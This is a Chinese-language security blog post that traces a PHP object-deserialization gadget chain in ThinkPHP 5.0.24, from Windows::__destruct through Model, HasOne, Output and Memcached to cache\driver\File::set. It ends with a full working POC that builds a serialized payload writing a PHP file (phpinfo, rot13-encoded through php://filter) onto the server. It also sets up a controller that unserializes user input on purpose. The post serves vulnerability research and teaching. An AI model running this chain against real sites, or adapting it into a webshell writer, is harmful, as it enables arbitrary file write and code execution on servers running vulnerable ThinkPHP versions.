Thinkphp 5.0.x 反序列化简析

修改application/index/controller/Index.php内容

本页目录
  1. 简析
  2. __destruct
  3. 利用点
  4. 如何到达利用点
  5. Gadget
  6. POP Chain
  7. POC
  8. 注意
  9. parent 修饰词
  10. filename
  11. 参考资料
  • TP 5.0.24 & PHP 5.6.40

修改application/index/controller/Index.php内容

<?php
namespace app\index\controller;
highlight_file(__FILE__);
class Index
{
public function index($input='')
{
echo "Welcome thinkphp 5.0.24";
echo $input;
unserialize($input);
}
}

简析

__destruct

这里和5.1.37那篇文章开头有点像,只有\think\process\pipes\Windows::__destruct中多使用了一个 removeFiles 方法,跟进后,可见调用 file_exists,通过注释可见参数类型为 string,这样会调用$filename -> __toString()

-w871

利用点

可以看到 Collection、Model 是调用了其下的 toJson 方法

-w725

在\think\Collection::toArray中,可以看到也是需要利用 Model 类

-w574

所以我们直接看\think\Model::toArray即可,在追加属性阶段,有三个地方可能能利用__call

  1. 需要控制传入 name 来控制 key 及 attr,同时目标 __call 能解析数组参数
  2. 需要目标类下 __call 或 getBindAttr 有良好的利用条件
  3. 需要控制传入 attr,同时目标类下 __call 有良好的利用条件

-w823

文章中利用第三个点,继续分析

如何到达利用点

想要到达利用点,需要我们梳理中间的逻辑流程

  1. $this->append不为空
  2. $name不为数组,不存在.,且为当前类中方法名
  3. 通过$this->$$name()控制$modelRelation从而控制参数$attr,可以看到getError是最合适的
    -w311
  4. 通过$this->getRelationData控制目标类$value

同时为了方便控制目标类$value,在 getRelationData 时尽量控制第一个 if 逻辑直接返回$this->parent
-w1024

Gadget

现在我们首先需要确定目标类,参数类

modelRelation

根据上面 getRelationData 中的逻辑判断,需要控制

  1. $modelRelation->isSelfRelation == false
  2. $modelRelation->getModel == 目标类

注意还需要3. $modelRelation->getBindAttr()可控

根据第一个条件,我们查询继承 Relation 的类,同时由于 Relation 实现了 getModel 方法并可控,忽略第二个条件

-w419

根据第三个条件,可以看到只有\think\model\relation\OneToOne::getBindAttr实现,其他的类既没有自身实现,同时也没有被继承实现

-w369

但由于它本身是一个接口类,我们需要利用其子类BelongsTo或HasOne

-w401


有人会说:可否利用 else 中的逻辑判断控制返回值?

通过搜寻,发现可以创建一个 Model 专门用于返回目标类,但是注意由于Model没有实现getBindAttr不满足条件三,且子类均也未实现此方法,所以是不可行的;而其他的类在控制返回目标类时候就很累了

-w703

目标类

现在我们能确定modelRelation后,我们现在需要做的是找到一个目标类,再确定如何进一步利用,通过搜寻__call,粗略看到疑似能利用的有Request和Output

-w703

但实际上,在5.0.24版本中,\think\Request::__call里self::$hook是无法利用的

-w727

所以能利用的只有 Output,由于传入的$mothod=='getAttr',所以这里利用 block 函数较好

-w725

而在block 函数中,可以看到最终会调用$this->handle下的 write 函数

-w669

write 利用

我们全局搜索下 write 函数的实现,同时注意到PHP 会自动忽略传输中多出来的参数

疑似可利用的类有三个,实现上都是$this->handler->set(...)

-w895

所以我们还要全局搜索下 set 函数的实现,以下两个类最终都实现了file_put_contents写文件

-w886

但是注意到\think\cache\driver\Lite::set中写入时被嵌入在 php 环境中且被引号包裹,无法实现利用

-w814
-w809

所以能利用的也只有\think\cache\driver\File::set

-w750

另外注意到,其实不是一次性调用set -> file_put_contents实现的写入,而是在$this->setTagItem中由没有缓存,导致将 filename 作为新的内容进行二次写入

-w560

POP Chain

直接上人家的图,文章链接在参考资料中

Thinkphp 5.0.x 反序列化简析 · 图示

POC

文件名生成规则

$this->tag = 'sari3l'
print('<?cuc cucvasb();?>' . md5('tag_' . md5($this->tag)));

POC

<?php
namespace think\cache\driver;
class File{
protected $options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
// 'path' => './sari3l/',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',
'data_compress' => false,
];
protected $tag='sari3l';
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler;
function __construct()
{
$this->handler = new File();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles;
function __construct()
{
$this->handle = new Memcached();
$this->styles = ['getAttr'];
}
}
namespace think\db;
use think\console\Output;
class Query {
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne {
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->query = new Query();
$this->bindAttr = ["sari3l" => "test"];
}
}
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model {
protected $append = [];
protected $data = [];
protected $error;
public $parent;
public function __construct()
{
$this->append = ["sari3l" => "getError"];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
echo urlencode(serialize(new Windows()));

注意

parent 修饰词

不同 TP 版本中,对于$parent修饰词不同,所以初始化覆盖时需要注意以子类为主

-w1041

filename

既然要出现<当然是只能 Linux 环境了

参考资料

  1. ThinkPHP v5.0.x 反序列化利用链挖掘